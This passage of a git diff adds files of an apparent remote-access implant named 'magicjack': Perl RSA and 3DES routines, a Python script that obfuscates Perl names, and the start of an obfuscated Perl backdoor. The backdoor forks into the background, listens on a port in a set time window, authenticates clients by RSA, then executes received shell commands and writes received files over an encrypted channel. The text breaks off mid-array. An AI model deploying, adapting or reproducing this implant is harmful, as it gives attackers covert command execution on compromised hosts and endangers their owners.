chr(int(rand(256))); + } + + return $r; +} + +sub rsa { + my ($n, $k, $encrypt, $msg) = @_; + my ($w, $v, $u, $a, $m, $c); + + $k = "0$k" if(length($k) & 1); + $n = "0$n" if(length($n) & 1); + $w = length($n); + $v = $w; + + if($encrypt) { + $w -= 2; + } + else { + $v -= 2; + } + + if(length($msg) != ($w / 2)) { + return ""; + } + + $u = unpack("B*", pack("H*", $k)); + $u =~ s/^0*//g; + $u =~ s/0/d*ln%/g; + $u =~ s/1/d*ln%lm*ln%/g; + $c = "1${u}p"; + + $m = unpack("H$w", $msg); + $a = `echo 16o16i\U$m\Esm\U$n\Esn$c|$DC`; + chomp($a); + $a =~ s/\\\n//g; + + return pack("H*", "0"x($v - length($a)).$a); +} + +sub des3_cbc { + my($key, $message, $encrypt, $iv) = @_; + + my @spf1 = (0x1010400,0,0x10000,0x1010404,0x1010004,0x10404,0x4,0x10000, + 0x400,0x1010400,0x1010404,0x400,0x1000404,0x1010004,0x1000000,0x4, + 0x404,0x1000400,0x1000400,0x10400,0x10400,0x1010000,0x1010000,0x1000404, + 0x10004,0x1000004,0x1000004,0x10004,0,0x404,0x10404,0x1000000, + 0x10000,0x1010404,0x4,0x1010000,0x1010400,0x1000000,0x1000000,0x400, + 0x1010004,0x10000,0x10400,0x1000004,0x400,0x4,0x1000404,0x10404, + 0x1010404,0x10004,0x1010000,0x1000404,0x1000004,0x404,0x10404,0x1010400, + 0x404,0x1000400,0x1000400,0,0x10004,0x10400,0,0x1010004); + my @spf2 = (0x80108020,0x80008000,0x8000,0x108020,0x100000,0x20,0x80100020,0x80008020, + 0x80000020,0x80108020,0x80108000,0x80000000,0x80008000,0x100000,0x20,0x80100020, + 0x108000,0x100020,0x80008020,0,0x80000000,0x8000,0x108020,0x80100000, + 0x100020,0x80000020,0,0x108000,0x8020,0x80108000,0x80100000,0x8020, + 0,0x108020,0x80100020,0x100000,0x80008020,0x80100000,0x80108000,0x8000, + 0x80100000,0x80008000,0x20,0x80108020,0x108020,0x20,0x8000,0x80000000, + 0x8020,0x80108000,0x100000,0x80000020,0x100020,0x80008020,0x80000020,0x100020, + 0x108000,0,0x80008000,0x8020,0x80000000,0x80100020,0x80108020,0x108000); + my @spf3 = (0x208,0x8020200,0,0x8020008,0x8000200,0,0x20208,0x8000200, + 0x20008,0x8000008,0x8000008,0x20000,0x8020208,0x20008,0x8020000,0x208, + 0x8000000,0x8,0x8020200,0x200,0x20200,0x8020000,0x8020008,0x20208, + 0x8000208,0x20200,0x20000,0x8000208,0x8,0x8020208,0x200,0x8000000, + 0x8020200,0x8000000,0x20008,0x208,0x20000,0x8020200,0x8000200,0, + 0x200,0x20008,0x8020208,0x8000200,0x8000008,0x200,0,0x8020008, + 0x8000208,0x20000,0x8000000,0x8020208,0x8,0x20208,0x20200,0x8000008, + 0x8020000,0x8000208,0x208,0x8020000,0x20208,0x8,0x8020008,0x20200); + my @spf4 = (0x802001,0x2081,0x2081,0x80,0x802080,0x800081,0x800001,0x2001, + 0,0x802000,0x802000,0x802081,0x81,0,0x800080,0x800001, + 0x1,0x2000,0x800000,0x802001,0x80,0x800000,0x2001,0x2080, + 0x800081,0x1,0x2080,0x800080,0x2000,0x802080,0x802081,0x81, + 0x800080,0x800001,0x802000,0x802081,0x81,0,0,0x802000, + 0x2080,0x800080,0x800081,0x1,0x802001,0x2081,0x2081,0x80, + 0x802081,0x81,0x1,0x2000,0x800001,0x2001,0x802080,0x800081, + 0x2001,0x2080,0x800000,0x802001,0x80,0x800000,0x2000,0x802080); + my @spf5 = (0x100,0x2080100,0x2080000,0x42000100,0x80000,0x100,0x40000000,0x2080000, + 0x40080100,0x80000,0x2000100,0x40080100,0x42000100,0x42080000,0x80100,0x40000000, + 0x2000000,0x40080000,0x40080000,0,0x40000100,0x42080100,0x42080100,0x2000100, + 0x42080000,0x40000100,0,0x42000000,0x2080100,0x2000000,0x42000000,0x80100, + 0x80000,0x42000100,0x100,0x2000000,0x40000000,0x2080000,0x42000100,0x40080100, + 0x2000100,0x40000000,0x42080000,0x2080100,0x40080100,0x100,0x2000000,0x42080000, + 0x42080100,0x80100,0x42000000,0x42080100,0x2080000,0,0x40080000,0x42000000, + 0x80100,0x2000100,0x40000100,0x80000,0,0x40080000,0x2080100,0x40000100); + my @spf6 = (0x20000010,0x20400000,0x4000,0x20404010,0x20400000,0x10,0x20404010,0x400000, + 0x20004000,0x404010,0x400000,0x20000010,0x400010,0x20004000,0x20000000,0x4010, + 0,0x400010,0x20004010,0x4000,0x404000,0x20004010,0x10,0x20400010, + 0x20400010,0,0x404010,0x20404000,0x4010,0x404000,0x20404000,0x20000000, + 0x20004000,0x10,0x20400010,0x404000,0x20404010,0x400000,0x4010,0x20000010, + 0x400000,0x20004000,0x20000000,0x4010,0x20000010,0x20404010,0x404000,0x20400000, + 0x404010,0x20404000,0,0x20400010,0x10,0x4000,0x20400000,0x404010, + 0x4000,0x400010,0x20004010,0,0x20404000,0x20000000,0x400010,0x20004010); + my @spf7 = (0x200000,0x4200002,0x4000802,0,0x800,0x4000802,0x200802,0x4200800, + 0x4200802,0x200000,0,0x4000002,0x2,0x4000000,0x4200002,0x802, + 0x4000800,0x200802,0x200002,0x4000800,0x4000002,0x4200000,0x4200800,0x200002, + 0x4200000,0x800,0x802,0x4200802,0x200800,0x2,0x4000000,0x200800, + 0x4000000,0x200800,0x200000,0x4000802,0x4000802,0x4200002,0x4200002,0x2, + 0x200002,0x4000000,0x4000800,0x200000,0x4200800,0x802,0x200802,0x4200800, + 0x802,0x4000002,0x4200802,0x4200000,0x200800,0,0x2,0x4200802, + 0,0x200802,0x4200000,0x800,0x4000002,0x4000800,0x800,0x200002); + my @spf8 = (0x10001040,0x1000,0x40000,0x10041040,0x10000000,0x10001040,0x40,0x10000000, + 0x40040,0x10040000,0x10041040,0x41000,0x10041000,0x41040,0x1000,0x40, + 0x10040000,0x10000040,0x10001000,0x1040,0x41000,0x40040,0x10040040,0x10041000, + 0x1040,0,0,0x10040040,0x10000040,0x10001000,0x41040,0x40000, + 0x41040,0x40000,0x10041000,0x1000,0x40,0x10040040,0x1000,0x41040, + 0x10001000,0x40,0x10000040,0x10040000,0x10040040,0x10000000,0x40000,0x10001040, + 0,0x10041040,0x40040,0x10000040,0x10040000,0x10001000,0x10001040,0, + 0x10041040,0x41000,0x41000,0x1040,0x1040,0x40040,0x10000000,0x10041000); + + my ($m, $i, $j, $temp, $temp2, $right1, $right2, $left, $right, @looping) = (0); + my ($cbcleft, $cbcleft2, $cbcright, $cbcright2); + my ($endloop, $loopinc, $result, $tempresult); + my $chunk = 0; + + if(length($key) != 24) { + return 0; + } + + my @keys = des3_create_keys($key); + + my $iterations = 9; + my $n = $#keys; + @looping = $encrypt ? (0, 32, 2, 62, 30, -2, 64, 96, 2) : (94, 62, -2, 32, 64, 2, 30, -2, -2); + + my $pad_len = (8 - (length($message) % 8)) % 8; + $message .= "\0" x $pad_len; + my $len = length($message); + + $result = ""; + $tempresult = ""; + + $cbcleft = ((unpack("C", substr($iv, $m++, 1)) << 24) | + (unpack("C", substr($iv, $m++, 1)) << 16) | + (unpack("C", substr($iv, $m++, 1)) << 8) | + unpack("C", substr($iv, $m++, 1))) & 0xffffffff; + $cbcright = ((unpack("C", substr($iv, $m++, 1)) << 24) | + (unpack("C", substr($iv, $m++, 1)) << 16) | + (unpack("C", substr($iv, $m++, 1)) << 8) | + unpack("C", substr($iv, $m++, 1))) & 0xffffffff; + $m = 0; + + while ($m < $len) { + $left = ((unpack("C", substr($message, $m++, 1)) << 24) | + (unpack("C", substr($message, $m++, 1)) << 16) | + (unpack("C", substr($message, $m++, 1)) << 8) | + unpack("C", substr($message, $m++, 1))) & 0xffffffff; + $right = ((unpack("C", substr($message, $m++, 1)) << 24) | + (unpack("C", substr($message, $m++, 1)) << 16) | + (unpack("C", substr($message, $m++, 1)) << 8) | + unpack("C", substr($message, $m++, 1))) & 0xffffffff; + + if ($encrypt) { + $left ^= $cbcleft; + $right ^= $cbcright + } + else { + $cbcleft2 = $cbcleft; + $cbcright2 = $cbcright; + $cbcleft = $left; + $cbcright = $right; + } + + $temp = (($left >> 4) ^ $right) & 0x0f0f0f0f; + $right ^= $temp; + $left ^= ($temp << 4) & 0xffffffff; + + $temp = (($left >> 16) ^ $right) & 0x0000ffff; + $right ^= $temp; + $left ^= ($temp << 16) & 0xffffffff; + + $temp = (($right >> 2) ^ $left) & 0x33333333; + $left ^= $temp; + $right ^= ($temp << 2) & 0xffffffff; + + $temp = (($right >> 8) ^ $left) & 0x00ff00ff; + $left ^= $temp; + $right ^= ($temp << 8) & 0xffffffff; + + $temp = (($left >> 1) ^ $right) & 0x55555555; + $right ^= $temp; + $left ^= ($temp << 1) & 0xffffffff; + + $left = (($left << 1) | ($left >> 31)) & 0xffffffff; + $right = (($right << 1) | ($right >> 31)) & 0xffffffff; + + for ($j = 0; $j < $iterations; $j += 3) { + $endloop = $looping[$j + 1]; + $loopinc = $looping[$j + 2]; + + for ($i = $looping[$j]; $i != $endloop; $i += $loopinc) { + $right1 = $right ^ $keys[$i]; + $right2 = ((($right >> 4) | ($right << 28)) ^ $keys[$i+1]) & 0xffffffff; + + $temp = $left; + $left = $right; + $right = $temp ^ ($spf2[($right1 >> 24) & 0x3f] | + $spf4[($right1 >> 16) & 0x3f] | + $spf6[($right1 >> 8) & 0x3f] | + $spf8[$right1 & 0x3f] | + $spf1[($right2 >> 24) & 0x3f] | + $spf3[($right2 >> 16) & 0x3f] | + $spf5[($right2 >> 8) & 0x3f] | + $spf7[$right2 & 0x3f]); + } + + $temp = $left; + $left = $right; + $right = $temp; + } + + $left = (($left >> 1) | ($left << 31)) & 0xffffffff; + $right = (($right >> 1) | ($right << 31)) & 0xffffffff; + + $temp = (($left >> 1) ^ $right) & 0x55555555; + $right ^= $temp; + $left ^= ($temp << 1) & 0xffffffff; + + $temp = (($right >> 8) ^ $left) & 0x00ff00ff; + $left ^= $temp; + $right ^= ($temp << 8) & 0xffffffff; + + $temp = (($right >> 2) ^ $left) & 0x33333333; + $left ^= $temp; + $right ^= ($temp << 2) & 0xffffffff; + + $temp = (($left >> 16) ^ $right) & 0x0000ffff; + $right ^= $temp; + $left ^= ($temp << 16) & 0xffffffff; + + $temp = (($left >> 4) ^ $right) & 0x0f0f0f0f; + $right ^= $temp; + $left ^= ($temp << 4) & 0xffffffff; + + if ($encrypt) { + $cbcleft = $left; + $cbcright = $right; + } + else { + $left ^= $cbcleft2; + $right ^= $cbcright2; + } + + $tempresult .= pack("C*", (($left >> 24), (($left >> 16) & 0xff), + (($left >> 8) & 0xff), ($left & 0xff), + ($right >> 24), (($right >> 16) & 0xff), + (($right >> 8) & 0xff), ($right & 0xff))); + + $chunk += 8; + if ($chunk == 512) { + $result .= $tempresult; + $tempresult = ""; + $chunk = 0; + } + } + + return $result . $tempresult; +} + +sub des3_create_keys { + use integer; + my($key) = @_; + + my @pc2b0 = (0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004, + 0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204); + my @pc2b1 = (0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001, + 0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101); + my @pc2b2 = (0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808, + 0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808); + my @pc2b3 = (0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000, + 0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000); + my @pc2b4 = (0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010, + 0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010); + my @pc2b5 = (0,0x400,0x20,0x420,0,0x400,0x20,0x420, + 0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420); + my @pc2b6 = (0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002, + 0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002); + my @pc2b7 = (0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800, + 0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800); + my @pc2b8 = (0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002, + 0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002); + my @pc2b9 = (0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008, + 0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408); + my @pc2b10 = (0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020, + 0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020); + my @pc2b11 = (0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200, + 0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200); + my @pc2b12 = (0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000, + 0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010); + my @pc2b13 = (0,0x4,0x100,0x104,0,0x4,0x100,0x104, + 0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105); + + my $iterations = 3; + + my @keys; + $#keys = (32 * $iterations); + + my @shifts = (0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0); + + my ($m, $n, $lefttemp, $righttemp, $left, $right, $temp) = (0, 0); + + for (my $j = 0; $j < $iterations; $j++) { + $left = ((unpack("C", substr($key, $m++, 1)) << 24) | + (unpack("C", substr($key, $m++, 1)) << 16) | + (unpack("C", substr($key, $m++, 1)) << 8) | + unpack("C", substr($key, $m++, 1))) & 0xffffffff; + $right = ((unpack("C", substr($key, $m++, 1)) << 24) | + (unpack("C", substr($key, $m++, 1)) << 16) | + (unpack("C", substr($key, $m++, 1)) << 8) | + unpack("C", substr($key, $m++, 1))) & 0xffffffff; + + $temp = (($left >> 4) ^ $right) & 0x0f0f0f0f; + $right ^= $temp; + $left ^= ($temp << 4) & 0xffffffff; + + $temp = (($right >> 16)^ $left) & 0x0000ffff; + $left ^= $temp; + $right ^= ($temp << 16) & 0xffffffff; + + $temp = (($left >> 2) ^ $right) & 0x33333333; + $right ^= $temp; + $left ^= ($temp << 2) & 0xffffffff; + + $temp = (($right >> 16)^ $left) & 0x0000ffff; + $left ^= $temp; + $right ^= ($temp << 16) & 0xffffffff; + + $temp = (($left >> 1) ^ $right) & 0x55555555; + $right ^= $temp; + $left ^= ($temp << 1) & 0xffffffff; + + $temp = (($right >> 8) ^ $left) & 0x00ff00ff; + $left ^= $temp; + $right ^= ($temp << 8) & 0xffffffff; + + $temp = (($left >> 1) ^ $right) & 0x55555555; + $right ^= $temp; + $left ^= ($temp << 1) & 0xffffffff; + + $temp = (($left << 8) | (($right >> 20) & 0x000000f0)) & 0xffffffff; + $left = (($right << 24) | (($right << 8) & 0xff0000) | + (($right >> 8) & 0xff00) | (($right >> 24) & 0xf0)) & 0xffffffff; + $right = $temp; + + for (my $i = 0; $i <= $#shifts; $i++) { + if ($shifts[$i]) { + no integer; + $left = (($left << 2) | ($left >> 26)) & 0xffffffff; + $right = (($right << 2) | ($right >> 26)) & 0xffffffff; + use integer; + $left <<= 0; + $right <<= 0; + } else { + no integer; + $left = (($left << 1) | ($left >> 27)) & 0xffffffff; + $right = (($right << 1) | ($right >> 27)) & 0xffffffff; + use integer; + $left <<= 0; + $right <<= 0; + } + + $left &= 0xfffffff0; + $right &= 0xfffffff0; + + $lefttemp = $pc2b0[$left >> 28] | $pc2b1[($left >> 24) & 0xf] + | $pc2b2[($left >> 20) & 0xf] | $pc2b3[($left >> 16) & 0xf] + | $pc2b4[($left >> 12) & 0xf] | $pc2b5[($left >> 8) & 0xf] + | $pc2b6[($left >> 4) & 0xf]; + $righttemp = $pc2b7[$right >> 28] | $pc2b8[($right >> 24) & 0xf] + | $pc2b9[($right >> 20) & 0xf] | $pc2b10[($right >> 16) & 0xf] + | $pc2b11[($right >> 12) & 0xf] | $pc2b12[($right >> 8) & 0xf] + | $pc2b13[($right >> 4) & 0xf]; + $temp = (($righttemp >> 16) ^ $lefttemp) & 0x0000ffff; + $keys[$n++] = ($lefttemp ^ $temp) & 0xffffffff; + $keys[$n++] = ($righttemp ^ ($temp << 16)) & 0xffffffff; + } + } + + return @keys; +} diff --git a/Linux/up/magicjack/magicjack_v1.0.0.1_munge.py b/Linux/up/magicjack/magicjack_v1.0.0.1_munge.py new file mode 100755 index 0000000..c6440ee --- /dev/null +++ b/Linux/up/magicjack/magicjack_v1.0.0.1_munge.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +import sys +import re + +sub_blacklist = [] +var_blacklist = ['ENV', 'z'] + +def main(): + + if len(sys.argv) != 3: + print 'usage: %s infile outfile' % sys.argv[0] + sys.exit(1) + + try: + infile = open(sys.argv[1], 'r') + except: + print 'error opening %s' % sys.argv[1] + sys.exit(1) + + lines = infile.readlines() + infile.close() + + fnames = {} + vnames = {} + fnum = 0 + vnum = 0 + + for line in lines: + # find subroutine names + r = re.search('^\s*sub (\w+)', line) + if r != None and not r.groups()[0] in sub_blacklist: + fnames[r.groups()[0]] = 'f%d' % fnum + fnum += 1 + + # find variable names + if re.search('^\s*my[ \(]', line) != None: + parts = line.split(',') + for p in parts: + r = re.search('[@$%]([_a-zA-Z]\w*)', p) + if r != None and not r.groups()[0] in var_blacklist: + vnames[r.groups()[0]] = 'z%d' % vnum + vnum += 1 + + # sort by length to replace longer names first + fname_keys = fnames.keys() + fname_keys.sort(cmp=lambda x, y: len(y) - len(x)) + vname_keys = vnames.keys() + vname_keys.sort(cmp=lambda x, y: len(y) - len(x)) + + try: + outfile = open(sys.argv[2], 'w') + except: + print 'error opening %s' % sys.argv[2] + sys.exit(1) + + for i in xrange(0, len(lines)): + for k in fname_keys: + lines[i] = re.sub('([^@$%%\w]*)%s(\W*)' % k, r'\1%s\2' % fnames[k], lines[i]) + + for k in vname_keys: + lines[i] = re.sub('([@$%%][#{]?)%s(\W)' % k, r'\1%s\2' % vnames[k], lines[i]) + + outfile.write(lines[i]) + + outfile.close() + + +if __name__ == '__main__': + main() diff --git a/Linux/up/magicjack/magicjack_v1.1.0.0_magicjack-1.1.0.0.pl b/Linux/up/magicjack/magicjack_v1.1.0.0_magicjack-1.1.0.0.pl new file mode 100644 index 0000000..d7b16f1 --- /dev/null +++ b/Linux/up/magicjack/magicjack_v1.1.0.0_magicjack-1.1.0.0.pl @@ -0,0 +1,857 @@ +#!/usr/bin/env perl + +use strict; +use Socket; + +$| = 1; + +my $z0 = ""; +my $z1 = "c79924f312ab95086e5957d0310465a8a8c365ddfb62efda12317f5fea2e5d03a94d2c3415682fdad63c957195b205860ccfcc38a5efa273cb2f6b8146d0a66e0ae83f06e3e0fde5bdb4aba9d79f4504ad5e46f5d3736429002b84a513157a27ba2e26dfb7dac016b10cee029b94ef8d051f8e0fc21125217cac393be56f4fac155c1d0d59f5b0c2b0e9ab4af5a246a8485159b6547d4fdf2f4de0bbb44e4b126aeeca5313d2df679b83c160ec7d0d2712b9c1ae75348ffb0097076133ebb338557abb1efcd6c27c1984c667790877696ce19049c0d5173f348ed4e891ff7bbfbc74cc73cfe9ad2c3da4e04f7d0071634c942efd71b24dfb2444b77464594a31"; +my $z2 = "10001"; +my $z3 = ""; +my $z4 = 0; +my $z5 = "x8jV"; +my $z6 = 30; + +my $z7 = "\x01"; +my $z8 = "\x02"; + +my $z9 = 0; + +f0(); + +sub f0 { + my @z10 = ('/usr/bin/dc', '/bin/dc', '/usr/local/bin/dc'); + my ($z32, $z12, $z13, $z14, $z15); + my @z16 = (); + my $z33 = ""; + my $z34 = ""; + my @z19 = (); + + srand(time() ^ ($$ + ($$ << 15))); + + foreach my $b (@z10) { + if(-e $b && -X $b) { + $z0 = $b; + last; + } + } + + if($z0 eq "") { + print "DC\n"; + exit(1); + } + + if(!exists($ENV{"A"}) || !exists($ENV{"B"})) { + exit(1); + } + + $z32 = $ENV{"A"}; + $z12 = $ENV{"B"}; + + if($z12 <= 0 || $z12 > 65535) { + print "B\n"; + exit(1); + } + + if(exists($ENV{"C"})) { + $z33 = $ENV{"C"}; + } + + if(exists($ENV{"D"})) { + $z34 = $ENV{"D"}; + @z16 = split(/,/, $z34); + + for my $p (@z16) { + if($p <= 0 || $p > 65535) { + print "D\n"; + exit(1); + } + } + } + + if(exists($ENV{"E"})) { + my ($z20, $z21); + @z19 = split(/ /, $ENV{"E"}); + + if(scalar(@z19) != 2) { + print "E\n"; + exit(1); + } + + if(($z19[0] < 0 || $z19[0] > 2400) || + ($z19[1] < 0 || $z19[1] > 2400)) { + print "E\n"; + exit(1); + } + + $z21 = $z19[0] % 100; + $z20 = int($z19[0] / 100); + $z19[0] = ($z20 * 3600) + ($z21 * 60); + $z21 = $z19[1] % 100; + $z20 = int($z19[1] / 100); + $z19[1] = ($z20 * 3600) + ($z21 * 60); + } + else { + @z19 = (0, 86400); + } + + if($z4 == 0) { + $z14 = fork(); + if($z14 != 0) { + return; + } + } + + if(open(RND, "= $z19[1]) { + $z27 = ((86400 - $z26) + $z19[0]) % 86400; + } + + sleep($z27); + + if(socket(SSOCK, PF_INET, SOCK_STREAM, (getprotobyname('tcp'))[2]) == 0) { + exit(1); + } + + setsockopt(SSOCK, SOL_SOCKET, SO_REUSEADDR, 1); + + if(bind(SSOCK, pack("SnCCCCx8", AF_INET, + $z12 + $z15, split(/\./, $z32))) == 0) { + $z15++; + if($z15 >= 5) { + $z15 = 0; + } + + close(SSOCK); + next; + } + + if(listen(SSOCK, 1) == 0) { + $z15++; + if($z15 >= 5) { + $z15 = 0; + } + + close(SSOCK); + next; + } + + while(1) { + if($z19[0] == 0 && $z19[1] == 86400) { + $z85 = undef; + } + else { + @z25 = gmtime(); + $z26 = ($z25[2] * 3600) + ($z25[1] * 60); + + if((($z19[0] < $z19[1]) && + ($z26 < $z19[0] || $z19[1] < $z26)) || + (($z19[0] > $z19[1]) && + ($z26 < $z19[0] && $z19[1] < $z26))) { + last; + } + + $z85 = ($z19[1] - $z26) % 86400; + } + + $z28 = ""; + vec($z28, fileno(SSOCK), 1) = 1; + + $z29 = select($z28, undef, undef, $z85); + if($z29 <= 0) { + last; + } + + $z13 = accept(CSOCK, SSOCK); + + f1(\*CSOCK, $z13, $z33, $z34); + close(CSOCK); + + $z3 = ""; + } + + close(SSOCK); + } +} + +sub f1 { + my ($z31, $z32, $z33, $z34) = @_; + my ($z35, $z36, @z37, $z38); + my ($z71, $z80, $z41, $z42, $z43); + my @z44 = (); + my @z45 = (); + + @z44 = split(/,/, $z33); + @z45 = split(/,/, $z34); + + ($z35, $z36, @z37) = unpack("SnC4", $z32); + $z38 = join(".", @z37); + + if(scalar(@z44) > 0) { + if(scalar(grep(/$z38/, @z44)) == 0) { + return; + } + } + + if(scalar(@z45) > 0) { + if(scalar(grep(/$z36/, @z45)) == 0) { + return; + } + } + + $z3 = f2($z31); + + if($z3 eq "") { + return; + } + + while(1) { + $z71 = f6($z31); + if($z71 == -1) { + last; + } + + $z80 = f5($z31, $z71); + if($z80 eq "") { + last; + } + + $z41 = substr($z80, 0, 1); + $z42 = substr($z80, 1); + + if($z41 eq $z7) { + $z43 = `$z42 2>&1`; + if(f4($z31, $z43) != 0) { + last; + } + } + elsif($z41 eq $z8) { + if(f3($z42) == 0) { + if(f4($z31, "ok") != 0) { + last; + } + } + else { + if(f4($z31, "no") != 0) { + last; + } + } + } + else { + if(f4($z31, "no") != 0) { + last; + } + } + + $z42 = undef; + undef $z42; + $z43 = undef; + undef $z43; + } +} + +sub f2 { + my ($z77) = @_; + my ($z141, $z106, $z49); + + $z141 = f9(24); + $z106 = f9(231); + $z49 = f10($z1, $z2, 1, "$z141$z106"); + + if($z49 eq "") { + return ""; + } + + if(f7($z77, $z49) <= 0) { + return ""; + } + + return $z141; +} + +sub f3 { + my ($z80) = @_; + my ($z51, $z52, $z53); + + $z51 = index($z80, "\x00"); + $z52 = substr($z80, 0, $z51); + $z53 = substr($z80, $z51 + 1); + + open(FH, ">$z52") + or return -1; + print FH $z53; + close(FH); + + return 0; +} + +sub f4 { + my ($z77, $z80) = @_; + my ($z56, $z57, $z58, $z59, $z60, $z79); + + $z56 = f9(8); + $z57 = f9(8); + $z58 = f11($z3, $z80, 1, $z57, 1); + $z60 = pack("N", length($z58)) . $z5; + $z59 = f11($z3, $z60, 1, $z56, 0); + + $z79 = $z56.$z59.$z57.$z58; + + if(f7($z77, $z79) <= 0) { + return -1; + } + + return 0; +} + +sub f5 { + my ($z77, $z71) = @_; + my ($z80, $z105, $z66); + + $z80 = f8($z77, 8 + $z71); + + if($z80 eq "") { + return ""; + } + + $z105 = substr($z80, 0, 8); + $z66 = f11($z3, substr($z80, 8, $z71), 0, $z105, 1); + + return $z66; +} + +sub f6 { + my ($z77) = @_; + my ($z80, $z105, $z70, $z71); + + $z80 = f8($z77, 16); + + if(length($z80) != 16) { + return -1; + } + + $z105 = substr($z80, 0, 8); + $z70 = f11($z3, substr($z80, 8, 8), 0, $z105, 0); + $z71 = unpack("N", substr($z70, 0, 4)); + + if(substr($z70, 4, 4) ne $z5) { + return -1; + } + return $z71; +} + +sub f7 { + my ($z77, $z95) = @_; + my ($z140, $z75, $z76); + + $z140 = length($z95); + $z75 = 0; + + while($z75 < $z140) { + $z76 = syswrite($z77, $z95, $z140 - $z75, $z75); + if(!defined($z76) || $z76 == 0) { + return -1; + } + + $z75 += $z76; + } + + return $z75; +} + +sub f8 { + my ($z77, $z140) = @_; + my ($z79, $z80, $z81, $z82); + my ($z83, $z84, $z85); + + $z80 = ""; + $z81 = 0; + + while($z81 < $z140) { + $z85 = $z6; + $z84 = ""; + vec($z84, fileno($z77), 1) = 1; + + $z83 = select($z84, undef, undef, $z85); + if($z83 == 0) { + return ""; + } + + $z82 = sysread($z77, $z79, $z140 - $z81); + if($z82 == 0) { + return ""; + } + + $z80 .= $z79; + $z81 += $z82; + } + + return $z80; +} + +sub f9 { + my ($z91) = @_; + my $z90 = ""; + my $z88 = 0; + + if($z9) { + while($z88 < $z91) { + my $z160 = read($z9, $z90, $z91 - $z88); + + if($z160 == undef || $z160 <= 0) { + last; + } + + $z88 += $z160; + } + } + + while(length($z90) < $z91) { + $z90 .= chr(int(rand(256))); + } + + return $z90; +} + +sub f10 { + my ($z160, $z93, $z104, $z95) = @_; + my ($z96, $z97, $z98, $z99, $z159, $z101); + + $z93 = "0$z93" if(length($z93) & 1); + $z160 = "0$z160" if(length($z160) & 1); + $z96 = length($z160); + $z97 = $z96; + + if($z104) { + $z96 -= 2; + } + else { + $z97 -= 2; + } + + if(length($z95) != ($z96 / 2)) { + return ""; + } + + $z98 = unpack("B*", pack("H*", $z93)); + $z98 =~ s/^0*//g; + $z98 =~ s/0/d*ln%/g; + $z98 =~ s/1/d*ln%lm*ln%/g; + $z101 = "1${z98}p"; + + $z159 = unpack("H$z96", $z95); + $z99 = `echo 16o16i\U$z159\Esm\U$z160\Esn$z101|$z0`; + chomp($z99); + $z99 =~ s/\\\n//g; + + return pack("H*", "0"x($z97 - length($z99)).$z99); +} + +sub f11 { + my($z141, $z103, $z104, $z105, $z106) = @_; + + my @z107 = (0x1010400,0,0x10000,0x1010404,0x1010004,0x10404,0x4,0x10000, + 0x400,0x1010400,0x1010404,0x400,0x1000404,0x1010004,0x1000000,0x4, + 0x404,0x1000400,0x1000400,0x10400,0x10400,0x1010000,0x1010000,0x1000404, + 0x10004,0x1000004,0x1000004,0x10004,0,0x404,0x10404,0x1000000, + 0x10000,0x1010404,0x4,0x1010000,0x1010400,0x1000000,0x1000000,0x400, + 0x1010004,0x10000,0x10400,0x1000004,0x400,0x4,0x1000404,0x10404, + 0x1010404,0x10004,0x1010000,0x1000404,0x1000004,0x404,0x10404,0x1010400, + 0x404,0x1000400,0x1000400,0,0x10004,0x10400,0,0x1010004); + my @z108 = (0x80108020,0x80008000,0x8000,0x108020,0x100000,0x20,0x80100020,0x80008020, + 0x80000020,0x80108020,0x80108000,0x80000000,0x80008000,0x100000,0x20,0x80100020, + 0x108000,0x100020,0x80008020,0,0x80000000,0x8000,0x108020,0x80100000, + 0x100020,0x80000020,0,0x108000,0x8020,0x80108000,0x80100000,0x8020, + 0,0x108020,0x80100020,0x100000,0x80008020,0x80100000,0x80108000,0x8000, + 0x80100000,0x80008000,0x20,0x80108020,0x108020,0x20,0x8000,0x80000000, + 0x8020,0x80108000,0x100000,0x80000020,0x100020,0x80008020,0x80000020,0x100020, + 0x108000,0,0x80008000,0x8020,0x80000000,0x80100020,0x80108020,0x108000); + my @z109 = (0x208,0x8020200,0,0x8020008,0x8000200,0,0x20208,0x8000200, + 0x20008,0x8000008,0x8000008,0x20000,0x8020208,0x20008,0x8020000,0x208, + 0x8000000,0x8,0x8020200,0x200,0x20200,0x8020000,0x8020008,0x20208, + 0x8000208,0x20200,0x20000,0x8000208,0x8,0x8020208,0x200,0x8000000, + 0x8020200,0x8000000,0x20008,0x208,0x20000,0x8020200,0x8000200,0, + 0x200,0x20008,0x8020208,0x8000200,0x8000008,0x200,0,0x8020008, + 0x8000208,0x20000,0x8000000,0x8020208,0x8,0x20208,0x20200,0x8000008, + 0x8020000,0x8000208,0x208,0x8020000,0x20208,0x8,0x8020008,0x20200); + my @z110 = (0x802001,0x2081,0x2081,0x80,0x802080,0x800081,0x800001,0x2001, + 